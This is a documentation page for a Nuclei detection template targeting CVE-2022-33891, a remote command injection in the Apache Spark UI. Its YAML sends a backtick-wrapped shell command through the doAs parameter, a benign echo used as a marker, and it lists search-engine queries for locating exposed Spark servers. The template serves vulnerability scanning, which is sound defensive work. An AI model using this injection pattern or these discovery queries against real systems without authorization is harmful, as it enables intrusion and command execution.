Skip to content
Nuclei Templates

Apache Spark UI - Remote Command Injection

ID: CVE-2022-33891

Severity: high

Author: princechaddha

Tags: cve2022,cve,apache,spark,kev,packetstorm

Description

Section titled “Description”

Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow impersonation by providing an arbitrary user name. An attacker can potentially reach a permission check function that will ultimately build a Unix shell command based on input and execute it, resulting in arbitrary shell command execution. Affected versions are 3.0.3 and earlier, 3.1.1 to 3.1.2, and 3.2.0 to 3.2.1.

YAML Source

Section titled “YAML Source”
id: CVE-2022-33891


info:
  name: Apache Spark UI - Remote Command Injection
  author: princechaddha
  severity: high
  description: |
    Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow impersonation by providing an arbitrary user name. An attacker can potentially reach a permission check function that will ultimately build a Unix shell command based on input and execute it, resulting in arbitrary shell command execution. Affected versions are 3.0.3 and earlier, 3.1.1 to 3.1.2, and 3.2.0 to 3.2.1.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
  remediation: |
    Apply the latest security patches or updates provided by Apache Spark to fix the remote command injection vulnerability.
  reference:
    - https://github.com/W01fh4cker/cve-2022-33891
    - https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc
    - http://packetstormsecurity.com/files/168309/Apache-Spark-Unauthenticated-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-33891
    - http://www.openwall.com/lists/oss-security/2023/05/02/1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-33891
    cwe-id: CWE-78
    epss-score: 0.97208
    epss-percentile: 0.99827
    cpe: cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: spark
    shodan-query:
      - title:"Spark Master at"
      - http.html:"/apps/imt/html/"
      - http.title:"spark master at"
    fofa-query:
      - body="/apps/imt/html/"
      - title="spark master at"
    google-query: intitle:"spark master at"
  tags: cve2022,cve,apache,spark,kev,packetstorm
variables:
  command: "echo CVE-2022-33891 | rev"


http:
  - method: GET
    path:
      - '{{BaseURL}}/?doAs=`{{url_encode("{{command}}")}}`'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "19833-2202-EVC"
# digest: 4a0a00473045022045f6e2b75c62defc31105951f4d5b76c8328ec4924da4fb60c48274e95c4a986022100d1ca00ead62cc4318897b4f8376a6ef72a225627f06b2168e7816500f1c79e99:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-33891.yaml"

View on Github